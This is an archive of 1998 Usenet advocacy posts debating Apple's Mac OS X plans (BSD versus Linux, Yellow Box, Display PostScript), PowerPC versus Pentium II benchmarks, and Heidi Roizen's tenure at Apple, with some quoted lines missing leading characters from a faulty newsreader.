> with a known word dissector who posts from a word-dropping newsposter.
What is a "known word dissector"? Are you accusing me of something?
> If your quote above actually reads "THE POPULARITY OF LINUX MEANS
> NOTHING TO MAC OWNERS", you've just shifted the goalposts again. So it's
> no longer a technical issue, or a hardware issue, or a software issue,
> or a portability issue, it's become an issue of a userbase that (by your
> reckoning alone) is not interested.
No, that's not what I meant.
> But somehow BSD fits better, presumably because the Macintosh-using
> public *does* want BSD.
No, because that's what they're using now. Give me the arguments for Apple
e _switching_ the OS from the *BSD's over to Linux. What are they? Can you
give me some points?
> > Solutions have nothing to do with it, they don't want to. Period.
>
> Ah, so now it's about what Apple unilaterally wants, "so ha"?
Uhhh, that's always what it's about.
> Not two sentences before the quote above, I said that Linux offers a
> partial solution for portability to PCs.
Apple already has a _complete_ solution for portability to PC's and doesn't
t want it.
Why would they care about another that they don't want?
> solution is? Or just asking questions at random? The partial solutions
> is an OS layer that is fully portable to PC computers
As is BSD/Mach.
> complete with
> fairly extensive drivers and comprehensive support for even esoteric
> hardware configurations.
As is BSD/Mach.
> The only part left over is userspace
> compatibility for tools like sound cards and video hardware that isn't
> directly handled by the kernel/OS layer.
As is BSD/Mach. But Apple has DriverKit to help here, which currently
ds Mach.
If these are your points, they're bad ones. Apple is not interested in
rtability (the main argument I have been using repeatedly) and already has a
solution if they were. Thus the technical argument falls flat so far.
> Feel free to cut this conversation short right here, Maury, the way
> you've been fond of in the past. For once, I'd be grateful not to have
> to sort through the spaghetti maze of rhetoric (not to mention the
> broken word wrapping).
Fine, stop posting.
Maury
From: marmier4@hei.unige.ch
Newsgroups: comp.sys.next.advocacy
Subject: Re: What we need from Mac OSuX
Date: 1 Sep 1998 22:45:29 GMT
Organization: News Server of Sunrise Communications AG
Message-ID: <6shte9$e2b$2@sibyl.sunrise.ch>
References: <tapella-3108981349590001@22w2-1.dyn.pasteur.fr> <6sccvd$5i@gazette.bcm.tmc.edu> <gierkeNOSPAM-3008981858090001@pm1-35.ile.infi.net> <6scmmf$8dh$1@supernews.com>
In Re: What we need from Mac OSuX comp.sys.next.advocacy tapella@pasteur.frANCE (Tapella) writes,
> In article <6scmmf$8dh$1@supernews.com>, "Steven Schulze"
> <sschulze@netwiz.net> wrote:
>> Now there's another oxymoron:
>>
>> Mac Server
>
> Well, considering it's based on OPENSTEP and BSD, how hard do you think
> that'll be? This isn't the old Mac being used as a server.
>
> Rob.
You're right Rob! But this remain a funny oximoron... Mac...server, haha!
So it is time to break the malediction, and MACOSX is the OS for that purpose.
regards
Raph
From: Michael Peck <Michael.Peck@ericsson.com>
Newsgroups: comp.sys.mac.advocacy,comp.sys.next.advocacy,comp.os.linux.advocacy
Subject: Re: Apple heading to obscurity?
Date: Wed, 02 Sep 1998 12:38:54 -0500
Organization: Ericsson North America Inc.
Message-ID: <35ED82AE.7C1B5FE9@ericsson.com>
References: <ToOp1.3341$24.19242835@news.itd.umich.edu> <6oimuj$nsq$1@news00.btx.dtag.de>
<pxpst2-1607982126410001@pelli.pathology.pitt.edu> <B1D4F704-26A9A@206.165.43.134>
<joe.ragosta-1807980702180001@elk58.dol.net> <6p3i97$507$1@news02.btx.dtag.de>
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Mime-Version: 1.0
Content-Type: text/plain; charset=us-ascii
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Maury Markowitz wrote:
> Exactly how is OS-X, which is basically an updated Rhapsody, less
> ve than Rhapsody?
Less innovative? It lacks a command-line shell. It lacks DPS. You
basically have YB without DPS on top of a crippled BSD. This sounds a
lot like Windows NT 5.0 with better class libraries but without robust
security, without robust networking, without built-in RAID, without
DirectX, and without a significant hardware base or major ISVs to
support the product.
It certainly doesn't sound (to me, anyway) like the "MacOS plus Unix"
synthesis many of us were hoping for.
> > I'm sure you'll continue to post pejoratives instead of argument. Let's
> > be honest: your position on this is getting pretty stale.
>
> And your's isn't?!?
[sigh] You keep asking for arguments but claim that they're stale. A
regular clown.
> > It seems to
> > hang entirely on esoteric details of the Mach kernel,
>
> Har!! Can you find a SINGLE EXAMPLE where I talk about the Mach kernel?
> No, you can't. My argument has NOTHING to do with the technology.
[sigh] Yes, I can: http://www.dejanews.com/getdoc.xp?AN=386689608
Wherein, among other things, you say:
[...]
> The real question is, "on a PPC box, what does MacOS-X = Linux + YB +
> Carbon + BB get Apple that MacOS-X = Mach + YB + Carbon + BB doesn't". I've
> been asking this question for a long time now, and still no one's come up
> with a good answer. I can think of many things it doesn't get them.
>
> > potentially claim that their Unix layer is proprietary while folding
> > in new additions to BSD. Then later they could back off on the
> > proprietary part, and merge back into one of the BSD development
> > streams. _After_ MacOS X is successful.
>
> I don't think Apple is interested in any of this. I think their interest
> in the *BSD streams is much simpler - they have a Mach kernel with BSD inside
> it, an older BSD. They want a Mach kernel with an up to date BSD in it.
> Linux simply never entered the picture.
</quote>
This was the most recent. There have been many others.
> No it was not, the BB has _never_ been part of the porting plans in any of
> the statement's I've seen. Not once. Care to provide any evidence of this?
What are you talking about? What in the world do you think you're
discussing?
> > How exactly does Linux do nothing for Mac owners if the issue is
> > hardware and Linux will run on that hardware?
>
> Sigh. Mike, what part of the argument are you finding so hard to grasp? I
> I have stated on no less than three occasions, all of which you responded to,
> , that Apple is adbandoning the PC side of things and thus the hardware
> ort is a moot point for the Mac owners.
Sigh. Maury, what part of the thread are you finding so hard to follow?
I said, quite clearly, and to which you responded:
> If
> this question is even raised within the hallowed halls of One Infinite
> Loop, Linux certainly is the "better" than what they have now on the
> PPC.
"If" is what is known (in English) as a conditional. If the conditional
holds false (you'll pardon me if I don't take your word for it), then
the supposition is irrelevant.
> > I've got to hand it to
> > you, nobody's posts confuse me like yours.
>
> I get the feeling I'm being trolled.
Well, of course, I can't *force* you to answer anything of substance.
Wait, that would make *you* the troll...
> > > Look at what the iMac is, it's a machine that's utterly a case
> > > of form over function, sold entirely to people that couldn't give a crap
> > > if what's inside is a little mouse running on a treadmill.
> >
> > </quote>
> >
> > This is what I agreed with.
>
> Indeed, this is where I stated that the technical details of the internal
> workings are meaningless. Yet then you somehow manage to conclude...
>
> > The technical basis of the MacOS is
> > tremendously important to a very significant portion of the Macintosh
> > userbase.
>
> Which is exactly the opposite of what I said and what you replied to. I
> ave no idea what concept you're "agreeing" with, but it's certainly not any
> that I've advocated.
What is wrong with you, troll? Is there a metal plate in your head? The
quote with which I agreed SPECIFICALLY referred to buyers of the iMac. I
tried to make clear this distinction in my previous post, but there must
have been some RF interference in the air when you read it.
> > The advantage to Linux is that it's a known quantity, well-known to many
> > people.
>
> Well known to many people who aren't Mac users.
Oh, please, as if you speak for Mac users everywhere. You don't know the
first thing about it, and that's the whole problem. I personally know
many Linux/Mac users.
By the way, this whole line of argument (yours) sounds as if you don't
think MacOS X is intended to sell to anyone but Mac users, is that
right? I want to tie this one down for future reference. Fool me once,
shame on you. Fool me twice, shame on me.
> > "PR" is of no value in Apple's market?
>
> Sigh.
What a sighing soul. It must be so tiring for you to have to explain
your winding and switchbacking train of thought.
> As I explained on all the other messages, Apple is doing fine with
> PR now and doesn't appear to be that much help. Others have noted that in
> ome circles Linux has a bad rep as a hard to use system, and since this is
> hat the Mac comminity espouses it's possible that adopting Linux would be
> ad_ PR for Apple.
That's entirely possible, I fully admit. I personally think it's
inconsequential, but I won't argue the point.
> If you say so. But I find it interesting that you're the only one claiming
> g to have problems understanding my points, then posting back replies that
> ave nothing whatsoever to do with them. If the rest of the readers and
> ers appear to have no problems, I would suggest this is your problem and not
> mine.
No, for God's sake, it's your newsposter's problem. I suspect everyone
else is just being polite, of course.
Oh, jeez. Isn't it just a little pathetic to say "none of my friends
have a problem understanding me"? Quit your whining.
> > Here it is very simply: I never used the word "PR"; that's yours.
>
> About 15 lines up ""PR" is of no value in Apple's market?"
Oh, this is rich. Your post introduced "PR". 15 lines up just happens to
be in the post following yours. You can't be serious.
> > you the reasons for using Linux, and they *are* my reasons.
>
> Which were? The only ones I've seen are that Linux has momentum,
> e, and platform support. Are these not your main points? If they are not,
> what are they?
They are.
> Which important issues?
Momentum, something-"e", and platform support, as you already said.
> > What OS is already running on Macintosh hardware? BSD?
>
> Sigh. No Mike. If you can't even understand THAT part of my message you
> either don't bother to read them, or are indeed trolling me. Here it is
> in...
>
> "Because the while OS is already running on it"
Oh, pretty please, have patience with me. What is a "while OS"? I think
that this is my problem.
> The OS in question is Rhapsody.
No, see, I'm sorry, Maury, but "Rhapsody" is not a product nor is it an
OS. Why are you having so much difficulty with terms? In the
above-quoted posting from DejaNews, at one point you equate the layer
represented by Linux with the layer represented by Mach. Now you say
that Rhapsody is an OS. I'm getting a very interesting picture, here.
> Rhapsody and MacOS-X are already running on
> n BSD. Do you agree to this point at least?
Rhapsody was running on BSD. I don't know anything about MacOS X. Have
you seen it running on BSD, and can you verify that you saw MacOS X?
> Now if you DO agree to that point, can you provide reasons that changing
> ll of this code in mid-stream over to Linux, which is technically similar,
> ould provide Apple with anything other than the name change? For instance,
> would it...
>
> a) be faster?
Perhaps, I have no idea. This is not relevant to my argument.
> b) be more stable?
Perhaps, I have no idea. This is not relevant to my argument.
> c) run YB or MacOS apps better?
Perhaps, I have no idea. This is not relevant to my argument.
> d) use up less HD space?
Perhaps, I have no idea. This is not relevant to my argument.
> e) provide a richer API?
Perhaps, I have no idea. This is not relevant to my argument.
> What _exactly_ would this get Apple? I have been asking this same question
> n for a week now, and you have NOT responded to on this level. Here, why
> n't you make a little point list of why they SHOULD do this, and I'll respond
> d to that, OK?
Here I was, thinking you couldn't be any more insulting and puerile.
> > If your quote above actually reads "THE POPULARITY OF LINUX MEANS
> > NOTHING TO MAC OWNERS", you've just shifted the goalposts again. So it's
> > no longer a technical issue, or a hardware issue, or a software issue,
> > or a portability issue, it's become an issue of a userbase that (by your
> > reckoning alone) is not interested.
>
> No, that's not what I meant.
Yet you provide no explanation.
> > But somehow BSD fits better, presumably because the Macintosh-using
> > public *does* want BSD.
>
> No, because that's what they're using now. Give me the arguments for Apple
> e _switching_ the OS from the *BSD's over to Linux. What are they? Can you
> give me some points?
[cut]
> Fine, stop posting.
Great. So much for the ideal.
MJP
From: NOSPAMmbkennelNOSPAM@yahoo.com (Matt Kennel)
Newsgroups: comp.sys.mac.advocacy,comp.sys.next.advocacy,comp.os.linux.advocacy
Subject: Re: Apple heading to obscurity?
Date: 2 Sep 1998 18:17:18 GMT
Organization: University of California at San Diego
Message-ID: <slrn6ur2td.r57.NOSPAMmbkennelNOSPAM@lyapunov.ucsd.edu>
References: <ToOp1.3341$24.19242835@news.itd.umich.edu> <6oimuj$nsq$1@news00.btx.dtag.de> <pxpst2-1607982126410001@pelli.pathology.pitt.edu> <B1D4F704-26A9A@206.165.43.134> <joe.ragosta-1807980702180001@elk58.dol.net> <6p3i97$507$1@news02.btx.dtag.de> <D32EE32CE02A98BD.E34D9DD7A9271C95.80294BDE739E8CE6@library-proxy.airnews.net> <6s5408$kc5$1@reader1.reader.news.ozemail.net> <6s6hd0$30u@news1.panix.com> <SCOTT.98Aug28130819@slave.doubleu.com> <EyK67n.7DI@T-FCN.Net> <D31B50461F33C90C.B0C9BB4EF6A49007.725D4B0B54C08000@library-proxy.airnews.net> <EyMHA5.9At@T-FCN.Net>
On Tue, 1 Sep 1998 20:37:16 GMT, Maury Markowitz wrote:
: Now if Apple decided to get back into the PC OS market THEN there is an
:vious benefit for them to be based on Linux. However they are actively
:ving_ that market now. That's the cutting line right there. Linux is no
:etter" than what they have now on the PPC, and the PR effect in the Mac
:et is basically nil.
I agree.
Apple is exploiting OpenSource as much as is currently reasonable and
possible---improvements to the BSD layer from what NeXT had in '89 are
almost all from free development.
Another good reason to stick with a BSD networking implementation:
lots of OpenSource security auditing and checking.
--
* Matthew B. Kennel/Institute for Nonlinear Science, UCSD
*
* "To chill, or to pop a cap in my dome, whoomp! there it is."
* Hamlet, Fresh Prince of Denmark.
Newsgroups: comp.sys.mac.advocacy,comp.sys.next.advocacy
From: maury@remove_this.istar.ca (Maury Markowitz)
Subject: Re: Claris apps and YB (Was Re: Heidi Roizen)
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Cc: quinlan@intergate.bc.ca
Organization: none
References: <6rkkda$9tt$1@nnrp1.dejanews.com> <B2032EEB-9EF58@206.165.43.27>
<6rm0p9$tai$1@nnrp1.dejanews.com> <35E77CF2.BC4997CD@mindspring.com>
<6s9rcf$ddo$1@nnrp1.dejanews.com> <EyKFps.25B@T-FCN.Net>
<6shijn$684$1@nnrp1.dejanews.com> <Eynvox.Hx5@T-FCN.Net>
<6sk34c$5si$1@nnrp1.dejanews.com>
Mime-Version: 1.0
Date: Wed, 2 Sep 1998 19:04:47 GMT
In <6sk34c$5si$1@nnrp1.dejanews.com> quinlan@intergate.bc.ca wrote:
> The changes that you are talking about here took place below the API level.
Sure, that's what I'm talking about here too.
> Changing how menu handling works is a change at the API level unless you
ave
> a clever idea that I am missing.
It's not a clever idea, just an idea.
> I'm not sure what you mean here. Do you mean that the application would
> install a callback (somewhat like how highlevel events are done) and that
> routine would be called when the user selects a menu item?
No.
> Or do you mean
> that the application still handles menu events but the new MenuSelect
ine
> would accept a callback that the application could use?
No.
I mean that instead of the menu handler blocking internally until it
ly returns, it calls WNE instead. The foreground app would still block (if
it's not threaded), but that's OK for now.
I think the confusion lies in what I think we need to accomplish. My goals
s are not lofty.
Maury
From: spammers@ruin.the.internet.channelu.com
Newsgroups: comp.sys.next.advocacy,comp.sys.mac.advocacy
Subject: Re: PPC 750 vs. Intel Pentium II
Date: 2 Sep 1998 20:14:02 GMT
Organization: Michigan State University
Message-ID: <6sk8ua$ch9$1@msunews.cl.msu.edu>
References: <6shd74$fth@newsb.netnews.att.com>
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Cc: gupta@kcopsrm.tm.tta.moc-mirror after @
In <6shd74$fth@newsb.netnews.att.com> gupta@kcopsrm.tm.tta.moc-mirror
after @ wrote:
> SPEC95 is supposed to be a benchmark that measures performance
> that is close to "real life" (whatever that means).
Isn't that what people are saying about the Byte Benchmarks :)
I just wanted to thank your for the following - very nice
h.
> Here are some recent figures. They are presented with the
> following cautions :
>
> 1. The Intel numbers are official, i.e., I believe they have
> been submitted to the SPEC organization. The IBM numbers are
> estimates.
>
> 2. The performance that the PPC 750 can achieve may not be
> found in any of Apple's shipping systems. Moreover, the SPEC95
> benchmark runs on UNIX and Windows NT, and not on MacOS.
Do you happen to know what specific systems the 750 benchmarks where
obtained on? I presume IBM. What OS?
>
> Here goes :
>
> [1]
> Intel Pentium II Xeon 400 MHz, 1M L2, 100 MHz system bus :
> (L2 running at 400 MHz)
> SPECint95 : 16.5
> SPECfp 95 : 13.7
>
> [2]
> Intel Pentium II 400 MHz, 512KB L2, 100 MHz system bus :
> (L2 running at 200 MHz)
> SPECint95 : 15.8
> SPECfp 95 : 12.4 [2A]
>
> [3] (new copper interconnects chip)
> IBM PowerPC 750 400 MHz, 1M L2, 100 MHz system bus :
> (L2 running at 200 MHz. Also see below)
> SPECint95 : 17.6
> SPECfp 95 : 12.2
Note on the chips.ibm.com G3 page the performace hit the 66Mhz 366
takes compared to the 100Mhz 350 on the floating point tests..
This confirms the reports I've been getting. That integerwise the
750 is faster than the x86 lines Mhz for Mhz, and is just a bit slower
in fp calculations. Though all this has to be tempered by the OS
and the architecture you put around the processor..
> Regarding L2s :
>
>
> 1. The Intel Pentium II Xeon 400 MHz has a full speed cache,
> i.e., L2 running at 400 MHz, see [4].
> The Xeon will eventually support 2MB L2, but "The initial
> 400 MHz Pentium II Xeon processor offering will not support
> 2MB L2 cache size" [4].
Suprising the full speed cache of the Xeon. doesn't make a huge amount
of difference compared the the PII on the same clock & bus.
> 2. The Pentium II 400 MHz supports a maximum of 512KB L2, AFAIK.
> running at half core speed.
>
> The PowerPC 750 supports a maximum of 1M L2. It can support
> a core-to-L2 frequency divisor of 1. However, [5] states
> the following (on page 15)
>
> "The internal design supports higher L2CLK frequencies;
> however the L2 I/O drivers have been designed to support a
> 150 MHz L2 bus loaded with four off-the-shelf pipelined
> synchronous burst SRAMS. Running the L2 bus beyond 150 MHz
> would require tightly coupled customized SRAMs or a multi-chip
> module (MCM) implementation."
Interesting note.
> The PPC Specint95 estimate is 7-11% more than the Pentium IIs.
>
> [1] http://www.intel.com/businesscomputing/wrkstn/b_spec95.htm
> [2] http://www.intel.com/procs/perf/PentiumII/spec95int_win.htm
> [2A]http://www.intel.com/procs/perf/PentiumII/spec95fp_win.htm
> [3] http://www.chips.ibm.com/products/ppc/overview/perform.html
> [4]
df
> [5] http://www.chips.ibm.com/products/ppc/documents/datasheets/750/
> 750-pid8p_400MHz_scm_datasheet_ver1_3.pdf
>
>
> Also, from similar pages, you will find :
>
> The Pentium II 400 MHz, 0.25 micron process, die size 450 mils/side,
> core voltage 2.0 V, max current 12.6 A, power 24.3W total.
>
> The Pentium II Xeon 400 MHz, core power 23.3 W,
> L2 power (1M L2 @ 400 MHz) 15.0 W. Core die is 130.9 mm^2,
> L2 die is 222.21 mm^2.
>
> The PowerPC 750 400 MHz PID 8p, 0.22 micron process, die size 5.14 x
7.78 mm,
> max 5.7W at 400 MHz (not clear whether this includes the L2 or not).
This bodes well for PPC in notebooks, and mobile computing. Apple
lly
should be angling toward leveraging the low power utilization in
ooks
and low power consumption computers.. There are a lot of environments
where a computer designed to utilize 1/2 the power of another and give
better
or similiar performance would be very advantageous.
Thanks again arun,
Randy
rencsok at
channelu dot com
argus dot cem dot msu dot edu
spammers works also :)
Randy Rencsok General UNIX, NeXTStep, IRIX Admining,
Turbo Software Consulting, Programming, etc.)
From: Greg_Anderson@afs.com (Gregory H. Anderson)
Newsgroups: comp.sys.mac.advocacy,comp.sys.next.advocacy,comp.os.linux.advocacy
Subject: Re: Apple heading to obscurity?
Date: 2 Sep 1998 20:41:52 GMT
Organization: Anderson Financial Systems Inc.
Message-ID: <6skaig$8bv@shelob.afs.com>
References: <35ED82AE.7C1B5FE9@ericsson.com>
Michael Peck <Michael.Peck@ericsson.com> writes
> Maury Markowitz wrote:
>
> > Exactly how is OS-X, which is basically an updated Rhapsody, less
> > ve than Rhapsody?
>
> Less innovative? It lacks a command-line shell. It lacks DPS. You
> basically have YB without DPS on top of a crippled BSD. This sounds a
> lot like Windows NT 5.0 with better class libraries but without robust
> security, without robust networking, without built-in RAID, without
> DirectX, and without a significant hardware base or major ISVs to
> support the product.
>
> It certainly doesn't sound (to me, anyway) like the "MacOS plus Unix"
> synthesis many of us were hoping for.
Which OS/X are you talking about, Server (scheduled for release soon),
or the "customer" release scheduled for next year? The Server release
does still contain DPS and a command-line shell. I find it hard to
believe that Terminal.app will disappear next year. Most recently, it
was moved from the Applications folder to the Administration folder,
where "ordinary" users don't usually tread. What would be the point of
removing it? All of /usr/bin and /usr/sbin will still be there, which
is why I would say "MacOS plus Unix" is a fair description. When you
run in "Non-Expert" mode, these folders are invisible anyway.
It's true that DPS is scheduled to disappear in next year's release --
and that is a grave disappointment for someone like me who offers DTP
and WP apps -- but I'm keeping my reservations in check until I get more
details about how much work will be required to switch. As a personal
opinion, I would rather eat the cost of continuing to distribute DPS
with Windows versions of my apps (such as they are; it's a small part of
the market anyway), but I know other YB authors who feel differently.
[Later, concerning text legibility]
> No, for God's sake, it's your newsposter's problem. I suspect everyone
> else is just being polite, of course.
True. For some reason, all of a sudden, Maury and Rex's articles have
characters cut off the left-hand sides of their posts.
> Rhapsody was running on BSD. I don't know anything about MacOS X. Have
> you seen it running on BSD, and can you verify that you saw MacOS X?
If we are talking about the Server release, yes. (I don't see how we
could be talking about the customer release, it doesn't exist for now.)
--
Gregory H. Anderson | "We're in the land of the blind,
Visionary Ophthalmologist | selling working eyeballs, and they
Anderson Financial Systems | balk at the choice of color." -- Tony
greg@afs.com (NeXTmail OK) | Lovell, on Mac user reactions to NeXT
From: Greg_Anderson@afs.com (Gregory H. Anderson)
Newsgroups: comp.sys.next.advocacy
Subject: Re: CSNA dead?
Date: 1 Sep 1998 14:18:17 GMT
Organization: Anderson Financial Systems Inc.
Message-ID: <6sgvn9$s6b@shelob.afs.com>
References: <6sf8b9$3cb$1@nnrp02.primenet.com>
John Jensen <jjens@primenet.com> writes
> Fun with anagrams (http://www.ssynth.co.uk/~gay/anagram.html):
>
> Gregory H. Anderson: Danger Horny Gorse
> Charles W. Swiger: Screw Large Wish
Hmmm. I have been amidst *thorny* gorse, but never *horny* gorse.
Although perhaps that explains why it keeps eating my balls.
(FYI for uninitiated: Gorse is the shrubby stuff that grows in the
rough of European links-style golf courses -- particularly the UK.
It's like a Roach Motel: Balls go in, they don't come out.)
--
Gregory H. Anderson | "We're in the land of the blind,
Visionary Ophthalmologist | selling working eyeballs, and they
Anderson Financial Systems | balk at the choice of color." -- Tony
greg@afs.com (NeXTmail OK) | Lovell, on Mac user reactions to NeXT
From: marcel@cs.tu-berlin.de (Marcel Weiher)
Newsgroups: comp.sys.next.advocacy
Subject: Re: Cheap ? or typo ?
Date: 1 Sep 1998 13:21:50 GMT
Organization: Technical University of Berlin, Germany
Message-ID: <6sgsde$jeb$1@news.cs.tu-berlin.de>
References: <6semj4$95d@newsb.netnews.att.com>
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gupta@kcopsrm.tm.tta.moc-mirror after @ writes:
[...]
>Should that be $100 and $200 ? Or are PC makers really that
>cheap ?
They are actually much cheaper than that. A conversations with
one of the designers of the old Epson NXStations was a real eye-
opener for me: he talked about how they had specced the mainboard
SIMM sockets for up to around 6-7 insertions. 'How cheap' was my
thought, but it turned out that this was way too expensive, most
other systems were only specced for 2!
Marcel
--
Java and C++ make you think that the new ideas are like the old ones.
Java is the most distressing thing to hit computing since MS-DOS.
- Alan Kay -
From: Michael Peck <Michael.Peck@ericsson.com>
Newsgroups: comp.sys.mac.advocacy,comp.sys.next.advocacy,comp.os.linux.advocacy
Subject: Re: Apple heading to obscurity?
Date: Wed, 02 Sep 1998 15:59:52 -0500
Organization: Ericsson North America Inc.
Message-ID: <35EDB1C8.888174C7@ericsson.com>
References: <35ED82AE.7C1B5FE9@ericsson.com> <6skaig$8bv@shelob.afs.com>
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Gregory H. Anderson wrote:
> Which OS/X are you talking about, Server (scheduled for release soon),
> or the "customer" release scheduled for next year?
I definitely mean the "customer" release, "MacOS X". I would have used
"MacOS X Server" if that had been what I meant. As you've demonstrated,
the two are very different.
[cut]
> It's true that DPS is scheduled to disappear in next year's release --
> and that is a grave disappointment for someone like me who offers DTP
> and WP apps -- but I'm keeping my reservations in check until I get more
> details about how much work will be required to switch. As a personal
> opinion, I would rather eat the cost of continuing to distribute DPS
> with Windows versions of my apps (such as they are; it's a small part of
> the market anyway), but I know other YB authors who feel differently.
I can't comment, not being a DPS programmer/user. Even so, from what I
know it seems like a huge loss. Neither GX nor DPS will be used;
instead, something undefined and unknowable is being introduced. I have
heard nothing about it which would recommend it above existing
competitors' solutions.
> True. For some reason, all of a sudden, Maury and Rex's articles have
> characters cut off the left-hand sides of their posts.
It's the RadicalNews beta, 0.9.6, as far as I can surmise.
> If we are talking about the Server release, yes. (I don't see how we
> could be talking about the customer release, it doesn't exist for now.)
We're talking about the customer release, which of course does not exist
and thus cannot be said to run on BSD.
MJP
From: rmcassid@uci.edu (Robert Cassidy)
Newsgroups: comp.sys.next.advocacy
Subject: Re: Quark==Adobe buyout - opinion
Date: Wed, 02 Sep 1998 16:00:17 -0700
Organization: UC Irvine
Message-ID: <rmcassid-0209981600170001@hephaestus.eng.uci.edu>
References: <1_NE1.1474$MS.2757093@news.rdc1.sdca.home.com> <rmcassid-2608981351410001@hephaestus.eng.uci.edu> <6s2f73$dv7$1@msunews.cl.msu.edu> <rmcassid-2708981116090001@hephaestus.eng.uci.edu> <6s5knl$96$1@ash.prod.itd.earthlink.net> <rmcassid-2808981005530001@hephaestus.eng.uci.edu> <6s7oei$1el$1@oak.prod.itd.earthlink.net> <rmcassid-2808982302000001@hephaestus.eng.uci.edu> <6samgn$6f7$1@holly.prod.itd.earthlink.net> <rmcassid-3108980032370001@dialin9062.slip.uci.edu> <6ser4k$21j$1@ash.prod.itd.earthlink.net> <rmcassid-3108981302170001@hephaestus.eng.uci.edu> <H52H1.2933$MS.7279167@news.rdc1.sdca.home.com>
In article <H52H1.2933$MS.7279167@news.rdc1.sdca.home.com>,
rr6013@yahoo.com (Rex Riley) wrote:
>In <rmcassid-3108981302170001@hephaestus.eng.uci.edu> Robert Cassidy wrote:
>> In article <6ser4k$21j$1@ash.prod.itd.earthlink.net>, "Ziya Oz"
>> To my mind that isn't really messing with them - it's making practical
>> changes. It's Apple having much less code to support. It's not an action
>> to favor one platform over the other. After all, the code would be taken
>> out of the Mac version as well.
>>
>It OS level dependency while not OS integration you've been wanting.
No, it is OS integration that I want. If I want a particular kind of color
picker - like a web centric one, I don't want to write a MacOS one and a
Photoshop one. And probably a Quark one and so on. I want to write _one_
of them.
If I want to automate a particular problem, I don't want to write an
applescript for part of it, then a photoshop script for some, then an
applescript for the rest. I just want to write an applescript.
This is a _very_ Openstep way of looking at this, Rex. The app in many
cases can do nothing more than say 'call on the appropriate OS service for
this'.
>> Colorsync and QT are cross-platform already. MS customers simply have to
>> get the product from Apple, nothing new there. Apple can publish a similar
>> API for the Windows version, but it'll be COM or VB or whatever they pass
>> off as a scripting language over there. But basically pulling these
>> products back as apps, and less as OSen. There is no way to properly
>> integrate these products without an external scripting environment. The
>> fact that MS really doesn't have one is hardly Apple's fault.
>>
>Why make all this so painful when Apple can cross-platform the whole
>ment ala Rhapsody cum MacOS X now. It can run anywhere, well, anywhere Apple
>e chooses :-) Forget the individual cross platform technologies. Cross the
> whole enviroment and run it in a native window, wherever.
Because Apple can't guarantee that Access will be ported to OS X, or
anything else for that matter. Are you suggesting that Apple would rewrite
all of the Adobe apps as YB apps and do it that way? Essentially that is
what I'm saying, but without actually rewriting the app. As a YB app it
would just defer many of these services to the OS anyway, so what's the
issue?
>> I think that by supporting OSA Apple can offer Frontier on the Windows
>> side as the solution. Personally I'm not a huge fan of Frontier - I find
>> it to be cumbersome, but the solution is there, and it's cross-platform. I
>> think the distinct advantage stays with Apple since AS is relatively
>> ubiquitous.
>And before you create all those cross-platform technologies, why not cross
>he environment and get the technologies for free?
Who's creating cross-platform technologies? All I'm saying is that Apple
should use the apps to further distinguish the difference between the
respective OSes. As soon as you yank out the Adobe color pickers, the
MacOS looks about 20x better to Photoshop users than Windows does. Place
the burden on MS for providing decent services to it's users.
Why rewrite all of these apps if the same effect can be achieved by
ripping out code?
-Bob Cassidy
From: ckoller@worldnet.att.net (Craig Koller)
Newsgroups: comp.sys.mac.advocacy,comp.sys.next.advocacy,comp.sys.mac.programmer.misc
Subject: Re: Heidi on Heidi (Was Re: Did Heidi Roizen do a good job?)
Date: 2 Sep 1998 23:06:52 GMT
Organization: MediActive
Message-ID: <ckoller-ya02408000R0209981609130001@netnews.worldnet.att.net>
References: <B212F253-19875@206.165.43.49> <joe.ragosta-0209981709230001@wil78.dol.net>
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In article <joe.ragosta-0209981709230001@wil78.dol.net>,
joe.ragosta@dol.net (Joe Ragosta) wrote:
>
> So Heidi basically confirms my position--that she never gave Yellow Box a
> real chance. Her focus was on legacy code and apps rather than the
> complete rewrite of apps to take advantage of YB.
>
Has *anybody* delineated what the benefits of a YB app vs. a Carbon app
are? Is the advantage on the development side, the user side? Performance?
Portability? What happened to the YB API for Winders?
From: don.brown@cesoft.com (Donald Brown)
Newsgroups: comp.sys.mac.advocacy,comp.sys.next.advocacy,comp.sys.mac.programmer.misc
Subject: Re: Heidi on Heidi (Was Re: Did Heidi Roizen do a good job?)
Date: Wed, 02 Sep 1998 18:22:01 -0600
Organization: Prairie Group
Message-ID: <don.brown-0209981822010001@dsm-ia3-01.ix.netcom.com>
References: <B212F253-19875@206.165.43.49> <joe.ragosta-0209981709230001@wil78.dol.net>
In article <joe.ragosta-0209981709230001@wil78.dol.net>,
joe.ragosta@dol.net (Joe Ragosta) wrote:
>In article <B212F253-19875@206.165.43.49>, "Lawson English"
><english@primenet.com> wrote:
>
>>I just got this in e-mail and I thought that I'd share. It should clear up
>>everything.
>>
>>
>>
>>Heidi Roizen said:
>>
>>>Hi Lawson, long time no talk. Yesterday my brother was doing an
>>>altavista search and ran across the thread of the above title... I'm not
>>>following those any longer, but given the title, I figured it might be
>>>interesting to take a look :-)
>>>
>>>The main gist of the thread is accurate, the problem is that I was on the
>>>other side of the issue relative to where people *think* I was, as it
>>>appears in the thread. I was a HUGE proponent of maintaining the legacy
>>>code investment. One of my largest internal efforts at Apple was to try
>>>to improve the tools strategy with better support for needed tools, tools
>>>planning up front with product planning, and heightened support of tools
>>>companies like Symantec and Metrowerks. The first issue I raised with
>>>the NeXT/Rhapsody strategy was legacy code and migration tools.
>>>(Actually, the first issue I raised was that I had major concerns about
>>>following an OS strategy that would not even run on the PowerPC chip, and
>>>therefore the installed base, for at least a year, but I don't want to
>>>start another issue right now!) The first "developer" I introduced Steve
>>>to when it was clear that he was a major influence in the forming of the
>>>OS strategy was Greg Galanos.
>
>So Heidi basically confirms my position--that she never gave Yellow Box a
>real chance. Her focus was on legacy code and apps rather than the
>complete rewrite of apps to take advantage of YB.
>
Depends. If by "gave a real chance" you mean "make everyone bet their
whole companies on it," yes. As I read it, she was worried about YB being
the ONLY alternative.
Donald
Newsgroups: comp.sys.mac.advocacy,comp.sys.next.advocacy,comp.sys.mac.programmer.misc
From: maury@remove_this.istar.ca (Maury Markowitz)
Subject: Re: Heidi on Heidi (Was Re: Did Heidi Roizen do a good job?)
Content-Type: text/plain; charset=us-ascii
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Sender: news@T-FCN.Net
Content-Transfer-Encoding: 7bit
Cc: ckoller@worldnet.att.net
Organization: none
References: <B212F253-19875@206.165.43.49> <joe.ragosta-0209981709230001@wil78.dol.net>
<ckoller-ya02408000R0209981609130001@netnews.worldnet.att.net>
Mime-Version: 1.0
Date: Wed, 2 Sep 1998 23:38:21 GMT
In <ckoller-ya02408000R0209981609130001@netnews.worldnet.att.net> Craig
er wrote:
